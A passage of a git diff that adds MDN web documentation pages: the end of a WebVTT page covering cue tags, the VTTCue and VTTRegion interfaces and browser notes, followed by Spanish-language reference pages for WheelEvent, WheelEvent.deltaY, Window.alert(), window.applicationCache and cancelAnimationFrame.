+ <li><strong>Bold tag</strong> (<code>&lt;b&gt;&lt;/b&gt;</code>)
+  <ul>
+   <li>Bold the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_16_-_Bold_tag">Example 16 - Bold tag</h5>
+
+  <pre class="notranslate">&lt;b&gt;text&lt;/b&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Underline tag</strong> (<code>&lt;u&gt;&lt;/u&gt;</code>)
+  <ul>
+   <li>Underline the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_17_-_Underline_tag">Example 17 - Underline tag</h5>
+
+  <pre class="notranslate">&lt;u&gt;text&lt;/u&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Ruby tag</strong> (<code>&lt;ruby&gt;&lt;/ruby&gt;</code>)
+  <ul>
+   <li>Used with ruby text tags to display <a href="http://en.wikipedia.org/wiki/Ruby_character">ruby characters</a> (i.e., small annotative characters above other characters).</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_18_-_Ruby_tag">Example 18 - Ruby tag</h5>
+
+  <pre class="notranslate">&lt;ruby&gt;WWW&lt;rt&gt;World Wide Web&lt;/rt&gt;oui&lt;rt&gt;yes&lt;/rt&gt;&lt;/ruby&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Ruby text tag</strong> (<code>&lt;rt&gt;&lt;/rt&gt;</code>)
+  <ul>
+   <li>Used with ruby tags to display <a href="http://en.wikipedia.org/wiki/Ruby_character">ruby characters</a> (i.e., small annotative characters above other characters).</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_19_-_Ruby_text_tag">Example 19 - Ruby text tag</h5>
+
+  <pre class="notranslate">&lt;ruby&gt;WWW&lt;rt&gt;World Wide Web&lt;/rt&gt;oui&lt;rt&gt;yes&lt;/rt&gt;&lt;/ruby&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Voice tag</strong> (<code>&lt;v&gt;&lt;/v&gt;</code>)
+  <ul>
+   <li>Similar to class tag, also used to style the contained text using CSS.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_20_-_Voice_tag">Example 20 - Voice tag</h5>
+
+  <pre class="notranslate">&lt;v Bob&gt;text&lt;/v&gt;</pre>
+  </div>
+ </li>
+</ul>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>There are two interfaces or APIs used in WebVTT which are:</p>
+
+<h3 id="VTTCue_interface">VTTCue interface</h3>
+
+<p>It is used for providing an interface in Document Object Model API, where different attributes supported by it can be used to prepare and alter the cues in number of ways.</p>
+
+<p>Constructor is the first point for starting the Cue which is defined using the default constructor VTTCue(startTime, endTime, text) where starting time, ending time and text for cue can be adjusted. After that we can set the region for that particular cue to which this cue belongs using cue.region. Vertical, horizontal, line, lineAlign, Position, positionAlign, text, size and Align can be used to alter the cue and its formation, just like we can alter the objects form, shape and visibility in HTML using CSS. But the VTTCue interface is within the WebVTT provides the vast range of adjustment variables which can be used directly to alter the Cue. Following interface can be used to expose WebVTT cues in DOM API:</p>
+
+<pre class="idl def notranslate">enum <dfn>AutoKeyword</dfn> { <dfn>"auto"</dfn> };
+enum <dfn>DirectionSetting</dfn> { <dfn>""</dfn> /* horizontal */, <dfn>"rl"</dfn>, <dfn>"lr"</dfn> };
+enum <dfn>LineAlignSetting</dfn> { <dfn>"start"</dfn>, <dfn>"center"</dfn>, <dfn>"end"</dfn> };
+enum <dfn>PositionAlignSetting</dfn> { <dfn>"line-left"</dfn>, <dfn>"center"</dfn>, <dfn>"line-right"</dfn>, <dfn>"auto"</dfn> };
+enum <dfn>AlignSetting</dfn> { <dfn>"start"</dfn>, <dfn>"center"</dfn>, <dfn>"end"</dfn>, <dfn>"left"</dfn>, <dfn>"right"</dfn> };
+[<a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-vttcue" id="ref-for-dom-vttcue-vttcue-1">Constructor</a>(double <dfn>startTime</dfn>, double <dfn>endTime</dfn>, DOMString <dfn>text</dfn>)]
+interface <dfn>VTTCue</dfn> : <a href="https://html.spec.whatwg.org/multipage/embedded-content.html#texttrackcue">TextTrackCue</a> {
+  attribute <a href="https://w3c.github.io/webvtt/#vttregion" id="ref-for-vttregion-1">VTTRegion</a>? <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-region" id="ref-for-dom-vttcue-region-1">region</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-directionsetting" id="ref-for-enumdef-directionsetting-1">DirectionSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-vertical" id="ref-for-dom-vttcue-vertical-1">vertical</a>;
+  attribute boolean <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-snaptolines" id="ref-for-dom-vttcue-snaptolines-2">snapToLines</a>;
+  attribute (double or <a href="https://w3c.github.io/webvtt/#enumdef-autokeyword" id="ref-for-enumdef-autokeyword-1">AutoKeyword</a>) <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-line" id="ref-for-dom-vttcue-line-2">line</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-linealignsetting" id="ref-for-enumdef-linealignsetting-1">LineAlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-linealign" id="ref-for-dom-vttcue-linealign-1">lineAlign</a>;
+  attribute (double or <a href="https://w3c.github.io/webvtt/#enumdef-autokeyword" id="ref-for-enumdef-autokeyword-2">AutoKeyword</a>) <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-position" id="ref-for-dom-vttcue-position-1">position</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-positionalignsetting" id="ref-for-enumdef-positionalignsetting-1">PositionAlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-positionalign" id="ref-for-dom-vttcue-positionalign-1">positionAlign</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-size" id="ref-for-dom-vttcue-size-1">size</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-alignsetting" id="ref-for-enumdef-alignsetting-1">AlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-align" id="ref-for-dom-vttcue-align-1">align</a>;
+  attribute DOMString <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-text" id="ref-for-dom-vttcue-text-1">text</a>;
+  <a href="https://dom.spec.whatwg.org/#documentfragment">DocumentFragment</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-getcueashtml" id="ref-for-dom-vttcue-getcueashtml-2">getCueAsHTML</a>();
+};</pre>
+
+<h3 id="VTT_Region_interface">VTT Region interface</h3>
+
+<p>This is the second interface in WebVTT API.</p>
+
+<p>The new keyword can be used for defining a new VTTRegion object which can then be used for containing the multiple cues. There are several properties of VTTRegion which are width, lines, regionAnchorX, RegionAnchorY, viewportAnchorX, viewportAnchorY and scroll that can be used to specify the look and feel of this VTT region. The interface code is given below which can be used to expose the WebVTT regions in DOM API:</p>
+
+<pre class="idl def notranslate">enum <dfn>ScrollSetting</dfn> { <dfn>""</dfn> /* none */, <dfn>"up"</dfn> };
+[<a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-vttregion" id="ref-for-dom-vttregion-vttregion-1">Constructor</a>]
+interface <dfn>VTTRegion</dfn> {
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-width" id="ref-for-dom-vttregion-width-1">width</a>;
+  attribute long <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-lines" id="ref-for-dom-vttregion-lines-1">lines</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-regionanchorx" id="ref-for-dom-vttregion-regionanchorx-1">regionAnchorX</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-regionanchory" id="ref-for-dom-vttregion-regionanchory-1">regionAnchorY</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-viewportanchorx" id="ref-for-dom-vttregion-viewportanchorx-1">viewportAnchorX</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-viewportanchory" id="ref-for-dom-vttregion-viewportanchory-1">viewportAnchorY</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-scrollsetting" id="ref-for-enumdef-scrollsetting-1">ScrollSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-scroll" id="ref-for-dom-vttregion-scroll-1">scroll</a>;
+};</pre>
+
+<h2 id="Methods_and_properties">Methods and properties</h2>
+
+<p>The methods used in WebVTT are those which are used to alter the cue or region as the attributes for both interfaces are different. We can categorize them for better understanding relating to each interface in WebVTT:</p>
+
+<ul style="list-style-type: circle;">
+ <li>
+  <h3 id="VTTCue">VTTCue</h3>
+
+  <ul>
+   <li>The methods which are available in this interface are:
+    <ul style="list-style-type: circle;">
+     <li>GetCueAsHTML to get the HTML of that Cue.</li>
+     <li>VTT Constructor for creating new objects of Cues.</li>
+     <li>Autokeyword.</li>
+     <li>DirectionSetting: to set the direction of caption or text in a file.</li>
+     <li>LineAlignment: to adjust the line alignment.</li>
+     <li>PositionAlignSetting: to adjust the position of text.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <h3 id="VTTRegion">VTTRegion</h3>
+
+  <ul>
+   <li>The methods used for region are listed below along with description of their functionality:
+    <ul style="list-style-type: circle;">
+     <li>ScrollSetting: For adjusting the scrolling setting of all nodes present in given region.</li>
+     <li>VTT Region Constructor: for construction of new VTT Regions.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Tutorial_on_how_to_write_a_WebVTT_file">Tutorial on how to write a WebVTT file</h2>
+
+<p>There are few steps that can be followed to write a simple webVTT file. Before start, it must be noted that you can make use of a notepad and then save the file as ‘.vtt’ file. Steps are given below:</p>
+
+<ol>
+ <li>Open a notepad.</li>
+ <li>The first line of WebVTT is standardized similar to the way some other languages require you to put headers as the file starts to indicate the file type. On the very first line you have to write:</li>
+</ol>
+
+<pre class="notranslate">WEBVTT</pre>
+
+<p>      3. Leave the second line blank, and on the third line the time for first cue is to be specified. For example, for a first cue starting at time 1 second and ending at 5 seconds, it is written as:</p>
+
+<pre class="notranslate">00:01.000 --&gt; 00:05.000</pre>
+
+<ol>
+ <li>On the next line you can write the caption for this cue which will run from 1<sup>st</sup> second to the 5<sup>th</sup> second, inclusive.</li>
+ <li>Following the similar steps, a complete WebVTT file for specific video or audio file can be made.</li>
+</ol>
+
+<h2 id="CSS_pseudo-classes">CSS pseudo-classes</h2>
+
+<p>CSS pseudo classes allow us to classify the type of object which we want to differentiate from other types of objects. It works in similar manner in WebVTT files as it works in HTML file.</p>
+
+<p>It is one of the good features supported by WebVTT is the localization and use of class elements which can be used in same way they are used in HTML and CSS to classify the style for particular type of objects, but here these are used for styling and classifying the Cues as shown below:</p>
+
+<pre class="notranslate">WEBVTT
+
+04:02.500 --&gt; 04:05.000
+J’ai commencé le basket à l'âge de 13, 14 ans
+
+04:05.001 --&gt; 04:07.800
+Sur les &lt;i.foreignphrase&gt;&lt;lang en&gt;playground&lt;/lang&gt;&lt;/i&gt;, ici à Montpellier</pre>
+
+<p>In the above example it can be observed that we can use the identifier and pseudo class name for defining the language of caption, where <code>&lt;i&gt;</code> tag is for italics.</p>
+
+<p>The type of pseudo class is determined by the selector it is using and working is similar in nature as it works in HTML. Following CSS pseudo classes can be used:</p>
+
+<ul>
+ <li>Lang (Lanugage): e.g., p:lang(it).</li>
+ <li>Link: e.g., a:link.</li>
+ <li>Nth-last-child: e.g., p:nth-last-child(2).</li>
+ <li>Nth-child(n): e.g., p:nth-child(2).</li>
+</ul>
+
+<p>Where p and a are the tags which are used in HTML for paragraph and link, respectively and they can be replaced by identifiers which are used for Cues in WebVTT file.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebVTT")}}</td>
+   <td>{{Spec2("WebVTT")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="VTTCue_interface_2"><code>VTTCue</code> interface</h3>
+
+<div>
+
+
+<p>{{Compat("api.VTTCue", 0)}}</p>
+
+<h3 id="TextTrack_interface"><code>TextTrack</code> interface</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.TextTrack", 0)}}</p>
+
+<h3 id="Notes">Notes</h3>
+</div>
+</div>
+
+<p>Prior to Firefox 50, the <code>AlignSetting</code> enum (representing possible values for {{domxref("VTTCue.align")}}) incorrectly included the value <code>"middle"</code> instead of <code>"center"</code>. This has been corrected.</p>
+
+<p>WebVTT was implemented in Firefox 24 behind the preference {{pref("media.webvtt.enabled")}}, which is disabled by default; you can enable it by setting this preference to <code>true</code>. WebVTT is enabled by default starting in Firefox 31 and can be disabled by setting the preference to <code>false</code>.</p>
+
+<p>Prior to Firefox 58, the <code>REGION</code> keyword was creating {{domxref("VTTRegion")}} objects, but they were not being used. Firefox 58 now fully supports <code>VTTRegion</code> and its use; however, this feature is disabled by default behind the preference <code>media.webvtt.regions.enabled</code>; set it to <code>true</code> to enable region support in Firefox 58. Regions are enabled by default starting in Firefox 59 (see bugs {{bug(1338030)}} and {{bug(1415805)}}).</p>
diff --git a/files/es/web/api/wheelevent/deltay/index.html b/files/es/web/api/wheelevent/deltay/index.html
new file mode 100644
index 0000000000..68135cd221
--- /dev/null
+++ b/files/es/web/api/wheelevent/deltay/index.html
@@ -0,0 +1,95 @@
+---
+title: WheelEvent.deltaY
+slug: Web/API/WheelEvent/deltaY
+translation_of: Web/API/WheelEvent/deltaY
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>La propiedad de solo lectura <code><strong>WheelEvent.deltaY</strong></code> es un <code>double</code> que representa la cantidad de deslizamiento vertical en la unidad {{domxref("WheelEvent.deltaMode")}} .</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <code><em>dY</em> = <em>event</em>.deltaY;</code></pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var syntheticEvent = new WheelEvent("syntheticWheel", {"deltaY": 4, "deltaMode": 0});
+
+console.log(syntheticEvent.deltaY);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-WheelEvent-deltaY','WheelEvent.deltaY')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>31</td>
+   <td>{{ CompatGeckoDesktop("17.0") }}</td>
+   <td>{{ CompatIE("9.0") }} [1]</td>
+   <td>18</td>
+   <td>9.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("17.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] IE9 soporta un viejo boceto de esta propuedad cuyo valor de retorno era un <code>long</code> en vez de un <code>double</code>.</p>
+
+<h2 class="note" id="Ver_más">Ver más</h2>
+
+<ul>
+ <li>{{ event("wheel") }}</li>
+ <li>{{domxref("WheelEvent")}}</li>
+</ul>
diff --git a/files/es/web/api/wheelevent/index.html b/files/es/web/api/wheelevent/index.html
new file mode 100644
index 0000000000..c53bbb87cc
--- /dev/null
+++ b/files/es/web/api/wheelevent/index.html
@@ -0,0 +1,174 @@
+---
+title: WheelEvent
+slug: Web/API/WheelEvent
+tags:
+  - API
+  - DOM
+  - Interface
+  - Referencia
+  - WheelEvent
+  - eventos
+translation_of: Web/API/WheelEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>El interface <strong><code>WheelEvent</code></strong> retrata los eventos que ocurren cuando el usuario mueve la rueda del ratón o de un dispositivo similar.</p>
+
+<div class="note">
+<p><strong>Esta es la forma estándar de usar el evento wheel.</strong></p>
+
+<p>Antiguas versiones de navegadores implementaron dos formas no-estándar y no-compatibles-entre-navegadores, los interfaces {{ domxref("MouseWheelEvent") }} y {{domxref("MouseScrollEvent")}}. Utilice este interfaz y evite los dos últimos.</p>
+</div>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("WheelEvent.WheelEvent", "WheelEvent()")}}</dt>
+ <dd>Crea el objeto <code>WheelEvent</code>.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Este interfaz hereda propiedades de estos padres<em>, {{domxref("MouseEvent")}}, {{domxref("UIEvent")}} y {{domxref("Event")}}.</em></em></p>
+
+<dl id="raw_prop">
+ <dt>{{domxref("WheelEvent.deltaX")}} {{readonlyinline}}</dt>
+ <dd>Devuelve un doble (número de doble precisión) que representa la cantidad de desplazamiento horizontal.</dd>
+ <dt>{{domxref("WheelEvent.deltaY")}} {{readonlyinline}}</dt>
+ <dd>Devuelve un doble que representa la cantidad de desplazamiento vertical.</dd>
+ <dt>{{domxref("WheelEvent.deltaZ")}} {{readonlyinline}}</dt>
+ <dd>Devuelve un doble que representa la cantidad de desplazamiento del eje-z.</dd>
+ <dt>{{domxref("WheelEvent.deltaMode")}} {{readonlyinline}}</dt>
+ <dd>Devuelve un entero largo sin signo que representa la unidad manejada por los valores de cantidad de desplazamiento delta. Los valores permitidos son:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Constant</td>
+    <td class="header">Value</td>
+    <td class="header">Description</td>
+   </tr>
+   <tr>
+    <td><code>DOM_DELTA_PIXEL</code></td>
+    <td><code>0x00</code></td>
+    <td>Los valores delta están especificados en pixeles.</td>
+   </tr>
+   <tr>
+    <td><code>DOM_DELTA_LINE</code></td>
+    <td><code>0x01</code></td>
+    <td>Los valores delta están especificados en líneas.</td>
+   </tr>
+   <tr>
+    <td><code>DOM_DELTA_PAGE</code></td>
+    <td><code>0x02</code></td>
+    <td>Los valores delta están especificados en páginas.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Este interfaz no define ningún método, pero hereda métodos de estos padres, {{domxref("MouseEvent")}}, {{domxref("UIEvent")}} y {{domxref("Event")}}.</em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#interface-WheelEvent','WheelEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Implementación básica</td>
+   <td>31</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatGeckoDesktop("17.0") }}</td>
+   <td>{{ CompatIE("9.0") }}</td>
+   <td>18</td>
+   <td>7.0</td>
+  </tr>
+  <tr>
+   <td><code>window.WheelEvent</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatGeckoDesktop("17.0") }}</td>
+   <td>{{ CompatIE("9.0") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Implementación básica</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("17.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>window.WheelEvent</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("17.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Safari no implementa actualmente <code>WheelEvent</code> actually; sin embargo este devuelve un objeto para <code>window.WheelEvent</code>.</p>
+
+<h2 class="note" id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ event("wheel") }}</li>
+ <li>Interfaces reemplazados por este:
+  <ul>
+   <li>Objeto del evento de la rueda del ratón legado de la plataforma Gecko: {{ domxref("MouseScrollEvent") }}</li>
+   <li>Navegadores no-gecko, objeto del evento de la rueda del ratón legado: {{ domxref("MouseWheelEvent") }}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/web/api/window/alert/index.html b/files/es/web/api/window/alert/index.html
new file mode 100644
index 0000000000..fd7e9f7d01
--- /dev/null
+++ b/files/es/web/api/window/alert/index.html
@@ -0,0 +1,69 @@
+---
+title: Window.alert()
+slug: Web/API/Window/alert
+tags:
+  - Referencia
+  - metodo
+translation_of: Web/API/Window/alert
+---
+<p>{{ APIRef }}</p>
+
+<p>El método <strong><code>Window.alert()</code></strong> muestra un diálogo de alerta con contenido opcional especificado y un botón OK (Aceptar).</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">window.alert(<em>message</em>);</pre>
+
+<ul>
+ <li><code>message</code> es un valor opcional del texto que se desea mostrar en el diálogo de alerta, o, alternativamente, un objeto que será convertido a texto y mostrado.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">window.alert("Hello world!");
+</pre>
+
+<p>produce:</p>
+
+<p><img alt="Image:AlertHelloWorld.png" src="/files/130/AlertHelloWorld.png"></p>
+
+<h2 id="Notes" name="Notes">Más JS:</h2>
+
+<pre>alert()</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>El diálogo alert debe ser usado para mensajes que no requieren respuesta por parte del usuario, otra que la aceptación del mensaje.</p>
+
+<p>Los cuadros de diálogo son ventanas modales - previenen que el usuario acceda al resto de la interfaz del programa hasta que el diálogo sea cerrado. Por esta razón, no se debe abusar de cualquier función que crea cuadros de diálogo (o ventanas modales).</p>
+
+<p>Los usuarios de <a href="/en-US/Chrome" title="Chrome">Mozilla Chrome</a> (p.ej. extensiones de Firefox) deben usar preferentemente métodos de {{interface("nsIPromptService")}}.</p>
+
+<p>A partir de Chrome {{CompatChrome(46.0)}}, este método está bloqueado para los elementos {{htmlelement("iframe")}}, a menos que su atributo <a href="/es/docs/Web/HTML/Elemento/iframe#attr-sandbox">sandbox</a> tenga el valor <code>allow-modal</code>.</p>
+
+<p>{{gecko_minversion_inline("23.0")}} El argumento es ahora opcional, como establece la especificación.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 Web application', '#dom-alert', 'alert()')}}</td>
+   <td>{{Spec2('HTML5 Web application')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Véase también</h2>
+
+<ul>
+ <li>{{domxref("window.confirm","confirm")}}</li>
+ <li>{{domxref("window.prompt","prompt")}}</li>
+ <li>Para <a href="/en-US/docs/Chrome" title="/en-US/docs/Chrome">Mozilla Chrome</a>, véase {{ifmethod("nsIPromptService","alert")}} y {{ifmethod("nsIPromptService","alertCheck")}}</li>
+</ul>
diff --git a/files/es/web/api/window/applicationcache/index.html b/files/es/web/api/window/applicationcache/index.html
new file mode 100644
index 0000000000..37dac1f769
--- /dev/null
+++ b/files/es/web/api/window/applicationcache/index.html
@@ -0,0 +1,30 @@
+---
+title: window.applicationCache
+slug: Web/API/Window/applicationCache
+tags:
+  - Referencia_DOM_de_Gecko
+  - páginas_a_traducir
+translation_of: Web/API/Window/applicationCache
+---
+<p>{{ ApiRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve una referencia al objeto application cache para la ventana.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><em>cache</em> = window.applicationCache
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<ul>
+ <li><code>cache</code> es una referencia a un objeto {{ Interface("nsIDOMOfflineResourceList") }}.</li>
+</ul>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2008/WD-html5-20080122/#appcache">HTML 5 working draft</a></li>
+</ul>
diff --git a/files/es/web/api/window/cancelanimationframe/index.html b/files/es/web/api/window/cancelanimationframe/index.html
new file mode 100644
index 0000000000..eae485c315
--- /dev/null
+++ b/files/es/web/api/window/cancelanimationframe/index.html
@@ -0,0 +1,118 @@
+---
+title: window.cancelAnimationFrame()
+slug: Web/API/Window/cancelAnimationFrame
+translation_of: Web/API/Window/cancelAnimationFrame
+---
+<div>{{APIRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Cancela la petición de animación previamente programada a través de {{domxref("window.requestAnimationFrame()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">window.cancelAnimationFrame(<em>requestID</em>);
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Antes de Firefox 23, la función es independiente del proveedor con el prefijo <code>window.mozCancelAnimationFrame()</code>. Consulte la tabla de compatibilidad, a continuación, para otras implementaciones de navegador.</p>
+</div>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>ID de la petición</code></dt>
+ <dd>El valor del ID regresado por la llamada a {{domxref("window.requestAnimationFrame()")}} que solicitó una llamada de vuelta.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: js">var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+                            window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+
+var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame;
+
+var start = window.mozAnimationStartTime;  // Only supported in FF. Other browsers can use something like Date.now().
+
+var myReq;
+
+function step(timestamp) {
+  var progress = timestamp - start;
+  d.style.left = Math.min(progress/10, 200) + "px";
+  if (progress &lt; 2000) {
+    myReq = requestAnimationFrame(step);
+  }
+}
+myReq = requestAnimationFrame(step);
+
+window.cancelAnimationFrame(myReq);
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>21.0 {{property_prefix("webkit")}}<br>
+    24.0</td>
+   <td>{{CompatGeckoDesktop("11.0")}} {{property_prefix("moz")}}<br>
+    23.0</td>
+   <td>10</td>
+   <td>15.0</td>
+   <td>6.0 {{property_prefix("webkit")}}<br>
+    6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
